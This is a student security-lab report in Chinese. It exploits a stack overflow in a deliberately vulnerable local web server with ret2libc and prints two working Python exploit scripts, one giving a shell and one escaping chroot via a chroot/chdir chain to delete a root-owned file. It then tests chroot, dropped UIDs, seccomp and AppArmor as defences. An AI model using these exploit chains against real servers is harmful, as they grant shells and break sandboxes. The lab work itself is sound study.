信息系统安全lab2记录

对web server的vulnerable进程进行exploit,获得shell(或删除root特权的文件/tmp/test)

实验环境配置

首先需要对实验环境进行配置,具体来说需要关闭ASLR,然后编译目标程序,并为touchstone设置特权并启动服务端。

1
2
3
4
5
sudo sysctl -w kernel.randomize_va_space=0
sudo make
sudo chown root touchstone
sudo chmod +s touchstone
./touchstone

服务器启动后进程信息

然后使用浏览器,进入127.0.0.1:80进入服务器的界面,输入username:lixiang和password:123456进行注册register。

进行exploit攻击

首先使用ldd查看libc.so.6加载的基地址信息为**0xf7d9d000**。

1
ldd banksv

image-20240619110810753

使用ropper查看“/bin/bash”字符串相对于基址的偏移地址为**0x0018e363**。

1
ropper --file /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"

image-20240619110952993

使用readelf查看system、exit、unlink函数的地址分别为0x000417800x000340c00x0004f4100

1
2
3
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"  
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " exit"
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " unlink"

image-20240619112513036

然后根据服务端的日志可以看到ebp的地址为0xffffd218

image-20240619112956513

需要定位漏洞点getToken函数。

image-20240619123342290

函数中使用了一个固定大小的字符数组 s[1024],但没有检查 i 是否超过了数组的界限。当读取的字符数量超过1024个时,会发生缓冲区溢出,也就是栈溢出,然后可以通过覆盖返回地址的方式实现攻击即可。

1
2
3
4
5
6
char s[1024];
while (1){
// ...
s[i++] = c;
// ...
}

修改exploit-template.py脚本,将地址替换成上述地址即可,type1用于获得shell,type2用于删除文件。但是首先得知道漏洞是什么。

寻找溢出位置,就必须找到getToken()栈帧内存储返回地址的位置与缓冲区s之间的距离。由于缓冲区变量s的长度为1024,故此长度一定大于1024,使用如下代码进行试探:

1
req += b'A' * 1024 + cyclic(200)

使用python3运行,得到如下输出。

1
python3 exploit1.py 2 

image-20240619124023743

1
sudo dmesg

image-20240619124114951

这是内核的输出日志,可以看到返回地址被覆盖成了0x6161616c,其实对应的就是laaa,然后计算出偏移为44,然后1024 + 44 = 1068就能覆盖返回地址。

  • 获得shell

    1
    python3 exploit_1.py 1

    image-20240619125150850

    结果如上图,地址依次是system函数、exit函数、“/bin/sh”地址,符合我们要构造的栈的结构。

  • 删除文件

    接下来测试删除/tmp/test.txt,首先创建 /tmp/test.txt,将其所有者改为root。

    1
    2
    3
    touch /tmp/test.txt
    sudo chown root /tmp/test.txt
    ll /tmp/test.txt

    image-20240619125710551

    image-20240619125937003

给出攻击的python脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/python  
import sys
import socket
import traceback
import struct
import time
import os.path
import binascii
from pwn import *

# libc base address
# ASLR shoud be off, so that libc's base address will not change untill next reboot
# you can use "ldd ./program" to check the libc base address
base_addr = 0xf7d9d000

# all of the offsets of functions (strings) inside libc vary little (sometimes change, previews check is needed) .
# to get the offset of a funtion, you can use:
## readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"
# to get "/bin/sh":
## ropper --file /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"

# system
sys_addr = base_addr + 0x00041780
# /bin/sh
sh_addr = base_addr + 0x0018e363
# exit
ex_addr = base_addr + 0x000340c0
# unlink
ul_addr = base_addr + 0x000f4100
# dead
d_addr = 0xdeadbeef


# ebp too make the task simple, we print ebp of getToken function (vulnerable)
ebp_addr = 0xffffd218



## Below is the function that you should modify to construct an
## HTTP request that will cause a buffer overflow in some part
## of the vulnerable web server and exploit it.

def build_exploit(shellcode, type):

ul_arg = "/tmp/test.txt\0"
ul_arg_addr = ebp_addr + 20

sys_arg = "/bin/sh\0"
sys_arg_addr = ebp_addr + 20

req = ("POST / HTTP/1.1\r\n").encode('latin-1')
# All of the header information other than "Content-Length" is not important
req += ("Host: 127.0.0.1\r\n").encode('latin-1')
# The Content-Length below is useful, and depends on the length of
# username plus password, you need to use wireshark (together with web browser)
# for checking the length
req += ("Content-Length: 58\r\n").encode('latin-1')
req += ("Origin: http://127.0.0.1\r\n").encode('latin-1')
req += ("Connection: keep-alive\r\n").encode('latin-1')
req += ("Referer: http://127.0.0.1/\r\n").encode('latin-1')

req += ("Hacking: ").encode('latin-1')
# For different oses (and compilation), the length of fillup for
# hijacking the return address in the stack, could be different,
# therefore you need to debug the program for checking and adjusting.
req += b'A' * 1068
# b'C' * 4

# use "/bin/sh" string in libc
if type == 1:
req += p32(sys_addr)
req += p32(ex_addr)
req += p32(sh_addr)
req += p32(0)

# put "/bin/sh" string in the stack
# ebp is needed to locate the place of string
# Note: using this method, you can put arbitrary string in the stack,
# so that "system" can execute arbitrary command
#req += p32(sys_addr)
#req += p32(ex_addr)
#req += p32(sys_arg_addr)
#req += p32(0)
#req += sys_arg.encode('latin-1')


# remove a file specified by the path "ul_arg"
if type == 2:
req += p32(ul_addr)
req += p32(ex_addr)
req += p32(ul_arg_addr)
req += p32(0)
req += ul_arg.encode('latin-1')


req += ("\r\n").encode('latin-1')
req += ("\r\n").encode('latin-1')

# Below is the username/password that you can Register into the web server
# by using web browser. These information will be stored into the sqlite db behind.
# You need to change these information according to your own registration.

# Note that successful POST will be responded by the server with a hint page.
# By using the successful response, you can judge whether the server has been
# crashed (by exploit), so that you can adjust the fillup accordingly.
req += ("login_username=lixiang&login_password=123456&submit_login=Login").encode('latin-1')

print(req)
return req

#If you cannot use p32 (in pwnlib), you can use the following line
#req += (addr1).to_bytes(4, byteorder='little')


def send_req(host, port, req):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Connecting to %s:%d..." % (host, port))
sock.connect((host, port))

print("Connected, sending request...")
sock.send(req)

print("Request sent, waiting for reply...")
rbuf = sock.recv(1024)
resp = ("").encode("latin-1")
while len(rbuf):
resp = resp+rbuf
rbuf = sock.recv(1024)

print("Received reply.")
sock.close()
return resp


if len(sys.argv) != 2:
print("Usage: " + sys.argv[0] + " type")
print("type: 1 for shell, 2 for unlink")
exit()

try:
shellcode = ""
req = build_exploit(shellcode, int(sys.argv[1]))
print("HTTP request:")
print(req)

resp = send_req("127.0.0.1", 80, req)
print("HTTP response:")
print(resp)
except:
print("Exception:")
print(traceback.format_exc())

遇到的问题

  1. 服务器进程结束的时候再开经常遇到socket绑定失败的原因,原因是80端口被占用,80端口是Apache服务器的默认端口,所以可以通过将Apache的默认端口修改为8080来解决这个问题。

    1
    2
    3
    4
    5
    6
    7
    sudo su  
    systemctl disable apache2
    vim /etc/apache2/ports.conf
    # 将Listen 80...更改为:Listen 8080
    vim /etc/apache2/sites-available/000-default.conf
    # 将<VirtualHost *:80>...更改为:<VirtualHost *:8080>
    systemctl restart apache2

apache服务监听端口修改成功时的图片

  1. 通过setuid和sudo这两种不同的方式执行touchstone我发现ebp的值改变了。

    1
    ./touchstone

    image-20240619162514457

    1
    sudo ./touchstone

    image-20240619162549093

    AI回答:通过setuidsudo 提供了不同的特权提升机制。setuid 是通过设置可执行文件的权限使其以文件所有者的权限运行,而 sudo 则允许授权用户临时提升权限来执行特定命令。ebp 值的变化可能由不同的执行环境和安全机制导致,特别是在涉及特权提升时。

使用chroot 对web server进行约束,进行exploit,删除root特权的文件/tmp/test

实验环境配置

为了怕影响之前实验的效果,所以拷贝一下code目录为code_chroot,当然还是要关闭地址随机化,避免之前的地址发生改变。

1
cp -r ./code ./code_chroot

进行chroot配置

在server.c中添加如下代码:

1
2
if(chroot("/jail") == 0)  
printf("chroot success\n");

image-20240619132459140

1
2
3
4
make  
sudo ./chroot-setup.sh
cd /jail
sudo ./touchstone

image-20240619132644219

进行exploit测试

创建测试文件然后开启服务器,发现成功打印“chroot success”信息。

1
2
3
4
5
6
7
8
9
10
11
12
# 在tmp目录下创建测试文件  
sudo touch /tmp/test.txt
sudo chown root /tmp/test.txt
ll /tmp/test.txt

# 在/jail/tmp目录下创建测试文件
sudo touch /jail/tmp/test.txt
sudo chown root /jail/tmp/test.txt
ll /jail/tmp/test.txt

# /jail目录下开启服务器
./touchstone

image-20240619135337160

服务器进程的地址信息可能变化,用gdb重新查看(注意此处用ldd查看是错误的,虽然显示的和之前一样,要用gdb动态的attach看地址)。

指导手册中的提示:jail 中的 library 是单独的,位于/jail/lib 下(不同于原先的路径),所以需要重新寻找 libc 的 base 地址

1
2
3
ps -aux | grep banksv
sudo gdb -q -p <PID>
info proc map

image-20240619133412947

image-20240619133327610

修改脚本的base_addr作为exploit_2.py,然后执行删除文件的功能,发现\tmp\text.txt没有删除成功,但是\jail\tmp\text.txt中已经被删除了,dmesg查看内核的调试信息发现也没有segmentfault,说明chroot生效,非jail目录的测试文件没有被删除。

image-20240619152219338

删除/tmp/test.txt文件

image-20240621163129108

然后尝试删除/tmp/test.txt文件,这个需要使用到chroot和chdir相关调用实现,所以首先需要找到相关地址。

1
2
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "chroot"  
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "chdir"

image-20240621152017101

1
objdump -d banksv

image-20240621152216367

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#!/usr/bin/python
import sys
import socket
import traceback
import struct
import time
import os.path
import binascii
from pwn import *

# libc base address
# ASLR shoud be off, so that libc's base address will not change untill next reboot
# you can use "ldd ./program" to check the libc base address
base_addr = 0xf7db2000

# all of the offsets of functions (strings) inside libc won't change much (sometimes changed, so check is needed) .
# to get the offset of a funtion, you can use:
## readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"
# to get "/bin/sh":
## ropper --file /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"

# system
sys_addr = base_addr + 0x00041780
# /bin/sh
sh_addr = base_addr + 0x0018e363
# exit
ex_addr = base_addr + 0x000340c0
# unlink
ul_addr = base_addr + 0x000f4100
# chroot
chr_addr = base_addr + 0x000fce60
#chdir
chd_addr = base_addr + 0x000f2c70
# pop-ret
pop_addr = 0x080d19a4
# dead
d_addr = 0xdeadbeef
# ebp too make the task simple, we print ebp of getToken function (vulnerable)
ebp_addr = 0xffffd218

## Below is the function that you should modify to construct an
## HTTP request that will cause a buffer overflow in some part
## of the vulnerable web server and exploit it.

def build_exploit(shellcode):
shift_val = 19 * 4

chd_arg = "..\0\0"
chd_arg_addr = ebp_addr + shift_val

chr_arg2 = "server\0\0"
chr_arg2_addr = ebp_addr + shift_val + 4

chr_arg = ".\0\0\0"
chr_arg_addr = ebp_addr + shift_val + 12

ul_arg = "/tmp/test.txt\0"
ul_arg_addr = ebp_addr + shift_val + 16

sys_arg = "/bin/sh\0"
sys_arg_addr = ebp_addr + 20

req = ("POST / HTTP/1.1\r\n").encode('latin-1')
# All of the header information other than "Content-Length" is not important
req += ("Host: 127.0.0.1\r\n").encode('latin-1')
# The Content-Length below is useful, and depends on the length of
# username plus password, you need to use wireshark (together with web browser)
# for checking the length
req += ("Content-Length: 58\r\n").encode('latin-1')
req += ("Origin: http://127.0.0.1\r\n").encode('latin-1')
req += ("Connection: keep-alive\r\n").encode('latin-1')
req += ("Referer: http://127.0.0.1/\r\n").encode('latin-1')

req += ("Hacking: ").encode('latin-1')

# For different oses (and compilation), the length of fillup for
# hijacking the return address in the stack, could be different,
# therefore you need to debug the program for checking and adjusting.

req += b'A' * 1068

# remove a file use jail breaking
req += p32(chr_addr)
req += p32(pop_addr)
req += p32(chr_arg2_addr)

req += p32(chd_addr)
req += p32(pop_addr)
req += p32(chd_arg_addr)

req += p32(chd_addr)
req += p32(pop_addr)
req += p32(chd_arg_addr)

req += p32(chr_addr)
req += p32(pop_addr)
req += p32(chr_arg_addr)

req += p32(ul_addr)
req += p32(pop_addr)
req += p32(ul_arg_addr)

req += p32(ex_addr)
req += p32(0)
req += p32(0)

# 19 * 4
req += chd_arg.encode('latin-1')
# 19 * 4 + 4
req += chr_arg2.encode('latin-1')
# 16 * 4 + 12
req += chr_arg.encode('latin-1')
# 16 * 4 + 16
req += ul_arg.encode('latin-1')


req += ("\r\n").encode('latin-1')
req += ("\r\n").encode('latin-1')

# Below is the username/password that you can Register into the web server
# by using web browser. These information will be stored into the sqlite db behind.
# You need to change these information according to your own registration.

# Note that successful POST will be responded by the server with a hint page.
# By using the successful response, you can judge whether the server has been
# crashed (by exploit), so that you can adjust the fillup accordingly.
req += ("login_username=lixiang&login_password=123456&submit_login=Login").encode('latin-1')

print(req)
return req

#req += (addr1).to_bytes(4, byteorder='little')
#req += ("@@@@").encode('latin-1')


def send_req(host, port, req):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Connecting to %s:%d..." % (host, port))
sock.connect((host, port))

print("Connected, sending request...")
sock.send(req)

print("Request sent, waiting for reply...")
rbuf = sock.recv(1024)
resp = ("").encode("latin-1")
while len(rbuf):
resp=resp+rbuf
rbuf = sock.recv(1024)

print("Received reply.")
sock.close()
return resp


try:
shellcode = ""
if(os.path.exists("shellcode.bin")):
shellfile = open("shellcode.bin", "r")
shellcode = shellfile.read()
req = build_exploit(shellcode)
print("HTTP request:")
print(req)

resp = send_req("127.0.0.1", 80, req)
print("HTTP response:")
print(resp)
except:
print("Exception:")
print(traceback.format_exc())

防御结果分析

chroot 是一种用于更改当前进程及其子进程的根目录的技术。通过chroot,可以将一个进程及其子进程限制在一个特定的目录树内,使其无法访问目录树以外的文件和资源。这种技术常用于增强系统安全性,尤其是对服务程序(如Web服务器)进行隔离,以限制潜在的攻击影响范围。

chroot 改变了调用进程的根目录,使得进程认为指定的目录是文件系统的根目录 /。这样,进程无法访问该目录之外的任何文件或目录,从而在某种程度上实现了进程的隔离。

改变进程euid,测试exploit

实验环境配置

为了怕影响之前实验的效果,所以拷贝一下code目录为code_euid,当然还是要关闭地址随机化,避免之前的地址发生改变。

1
cp -r ./code ./code_euid

进行euid配置

在server.c中fork子进程的代码处添加如下代码:

1
2
setresuid(1000,1000,1000);
printf("User IDs successfully set to 1000.\n");

image-20240619153144782

1
2
3
make  
sudo chown root touchstone
sudo chmod +s touchstone

进行exploit测试

创建测试文件然后开启服务器,发现成功打印“User IDs successfully set to 1000”信息。

1
2
3
4
5
6
7
# 在tmp目录下创建测试文件  
sudo touch /tmp/test.txt
sudo chown root /tmp/test.txt
ll /tmp/test.txt

# 开启服务器
./touchstone

image-20240619153651371

执行脚本,由于和任务一中的没什么区别,地址也没变,直接使用exploit_1.py即可。

进行shell获取测试,发现能够获取shell但是是非特权模式。

1
python3 exploit_1.py 1 # 尝试获取shell

image-20240621144856371

1
python3 exploit_1.py 2 # 尝试删除文件

进行删除文件测试,可以发现/tmp/test.txt文件依然存在,没有被删除。

image-20240619153901043

我们可以尝试修改一下这个文件的所有者,改成我自己,试试能不能删除。

1
2
# 修改测试文件的owner
sudo chown lixiang:root /tmp/test.txt

image-20240619154643560

image-20240619161636645

防御结果分析

该防御主要是通过降低server起的3个子进程的权限从而防止以高权限用户的身份进行恶意操作,从上面的结果也能发现,主动放弃root权限之后,不能删除owner为root的文件,但是当把文件的owner修改成lixiang(普通用户)的时候,测试文件也能够被正常删除。而且还发现一个现象,即使文件的用户组是root还是可以删除,说明删除文件的时候和用户组没什么关系,和文件的拥有者有关。

使用seccomp 对web server的vulnerable进程进行约束,测试exploit

实验环境配置

同样复制一下code变成一个新的code_seccomp

1
cp -r ./code ./code_seccomp

可以通过以下指令来检查内核是否已经开启seccomp:

1
2
3
4
5
#检查是否开启seccomp 支持: 
grep CONFIG_SECCOMP= /boot/config-$(uname -r)

#检查是否开启seccomp 过滤器:
grep CONFIG_SECCOMP_FILTER= /boot/config-$(uname -r)

image-20240619164635614

如果输出结果为:CONFIG_SECCOMP=yCONFIG_SECCOMP_FILTER=y,则说明内核已经开启了seccomp。要检查特定进程是否启用了 seccomp,可以使用以下命令:

1
cat /proc/<pid>/status | grep Seccomp

其中, 代表进程的PID,可以使用ps -au查看。如果输出结果中有 Seccomp字段,则说明该进程使用了seccomp。如果没有该字段,则说明该进程没有使用seccomp。

修改makefile文件,要对banksv对应的编译选项添加-lseccomp

image-20240619170121404

发现多了一个libseccomp.so.2库,所以 libc.so.6的基地址发生了改变,脚本中修改一下就行。

image-20240619173424478

进行seccomp编码

默认允许,显式拒绝

修改banksv.c,添加如下代码,默认允许规则初始化,并添加了拒绝unlink的规则,之后将seccomp进行加载。

image-20240619165715018

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <seccomp.h>  
void init_seccomp()
{
int ret;
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
if(ctx == NULL) { exit(-1); }
ret = seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(unlink), 0);

if(ret < 0) { exit(-1); }
ret = seccomp_load(ctx);

if(ret < 0) { exit(-1); }
seccomp_release(ctx);
}
int main(int argc, char** argv) {

init_seccomp();

}

编译运行服务器

1
2
3
4
sudo make  
sudo chown root touchstone
sudo chmod +s touchstone
sudo ./touchstone

默认拒绝,显式允许

修改banksv.c,添加如下代码,默认拒绝所有规则,并添加了允许的规则,之后将seccomp进行加载。

image-20240619172906034

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void setup_deny_bydefault_rules()
{
int ret;
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if(ctx == NULL) { exit(-1); }

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigaction), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(socketcall), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(clone), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(set_robust_list), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getresuid32), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getcwd), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(statx), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(_llseek), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fcntl64), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(access), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchmod), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(stat64), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat64), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(geteuid32), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchown32), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fsync), 0);

// 攻击程序要的权限
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(system), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(unlink), 0);

ret = seccomp_load(ctx);
if(ret < 0) { exit(-1); }
seccomp_release(ctx);
}

编译运行服务器

1
2
3
4
sudo make  
sudo chown root touchstone
sudo chmod +s touchstone
sudo ./touchstone

进行exploit测试

默认允许,显式拒绝

首先创建测试文件

1
2
3
sudo touch /tmp/test.txt  
sudo chown root /tmp/test.txt
ll /tmp/test.txt

文件删除和获取shell均失败,还会出现报告系统错误的弹窗,具体结果如下图,dmesg内核消息中出现了两条审计日志。

image-20240619172118447

这种方式,会带来负面的效果,比如无法注册,连接被重置 。

image-20240619171801241

默认拒绝,显式允许

首先创建测试文件

1
2
3
sudo touch /tmp/test.txt  
sudo chown root /tmp/test.txt
ll /tmp/test.txt

文件删除和获取shell均失败,结果如下图:

image-20240621133745249

借助AI,审计日志的含义如下

image-20240621134819072

但我感觉这样比较麻烦,必须要确定需要使用到哪些系统调用,个人觉得不如前一种。

防御结果分析

seccomp(全称secure computing mode)是一种沙箱安全机制。在Linux系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。通过seccomp,限制程序使用某些系统调用,这样可以减少系统的暴露面,让程序进入一种“安全”的状态,类似系统调用的防火墙

使用apparmor对web server的vulnerable进程进行约束,测试exploit

实验环境配置

使用cp新建一个代码目录code_apparmor,然后还需要启动apparmor然后安装相关工具。

1
2
3
4
5
cp -r ./code ./code_apparmor

# 安装 AppArmor 及相关工具
sudo systemctl start apparmor
sudo apt install apparmor-profiles apparmor-utils

应用apparmor

服务器开始运行后,在目录下使用aa-genprof对banksv生成配置文件:

1
2
3
sudo ./touchstone 

sudo aa-genprof banksv

按F跳过,并结合aa-logprof和手动添加规则对配置文件进行完善,配置文件路径为/etc/apparmor.d/home.lixiang.Desktop.lab2.code_apparmor.banksv

image-20240619184538978

打开配置文件并写入以下内容 :

image-20240619185627994

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Last Modified: Wed Jun 19 03:45:02 2024
#include <tunables/global>

/home/lixiang/Desktop/lab2/code_apparmor/banksv {

# 引入了 apache2-common 和 base 抽象,这些抽象包含了一些常见的权限设置。
include <abstractions/apache2-common>
include <abstractions/base>

# 禁止对/tmp目录下的任何文件进行读写操作
deny /tmp/** mrwx,

# 允许对code_task5目录下的所有文件进行只读访问
/home/lixiang/Desktop/lab2/code_apparmor/** mr,

}

重新加载配置文件使以上配置文件生效:

1
sudo apparmor_parser -r /etc/apparmor.d/home.lixiang.Desktop.lab2.code_apparmor.banksv

进行exploit测试

首先创建测试文件

1
2
3
sudo touch /tmp/test.txt  
sudo chown root /tmp/test.txt
ll /tmp/test.txt

删除文件失败:

image-20240619190107460

获取shell失败:

image-20240619190000149

使用dmesg查看内核输出日志,发现两条deny规则,正是shell执行和unlink :

image-20240619191557469

遇到的问题

在配置文件中一旦定义对/tmp文件夹的deny,使用dmesg就无法看到unlink被禁止的消息,不定义反而能看到,感到非常的奇怪,还有一个种可能是引入的配置文件本身就包含最基础的访问控制,其中就包括unlink,但是对文件路径的限制会直接导致一个问题就是访问拦截文件访问请求在文件系统层面被完全拦截,程序可能没有机会尝试 unlink 操作

1
2
# 禁止对/tmp目录下的任何文件进行读写操作  
deny /tmp/** mrwx,

防御结果分析

AppArmor (Application Armor) 是一个 Linux 内核的安全模块,用于限制程序的能力,使得系统管理员能够定义每个程序可以访问的资源。AppArmor 使用基于路径的访问控制机制,通过配置文件来定义程序的安全策略。

AppArmor 的主要特点:

  1. 基于路径的访问控制
    • 使用文件系统路径来定义访问控制规则。
    • 配置文件指定程序可以访问哪些文件、目录和资源。
  2. 配置文件
    • 每个受保护的程序都有一个对应的配置文件,通常位于 /etc/apparmor.d/ 目录中。
    • 配置文件定义了程序的权限,包括文件访问、网络访问、能力等。
  3. 两种模式
    • 执行模式(enforcing mode):严格执行配置文件中的规则,任何违反规则的行为都会被阻止并记录。
    • 投诉模式(complain mode):记录违反规则的行为,但不阻止操作。这种模式常用于调试和配置规则。
  4. 集成到 Linux 内核
    • 作为 Linux 安全模块(LSM)的一部分,直接在内核中实现,提供高效的安全控制。
  5. 灵活性
    • 支持不同的抽象文件(如 <abstractions/base><abstractions/apache2-common>),用于简化常见权限的配置。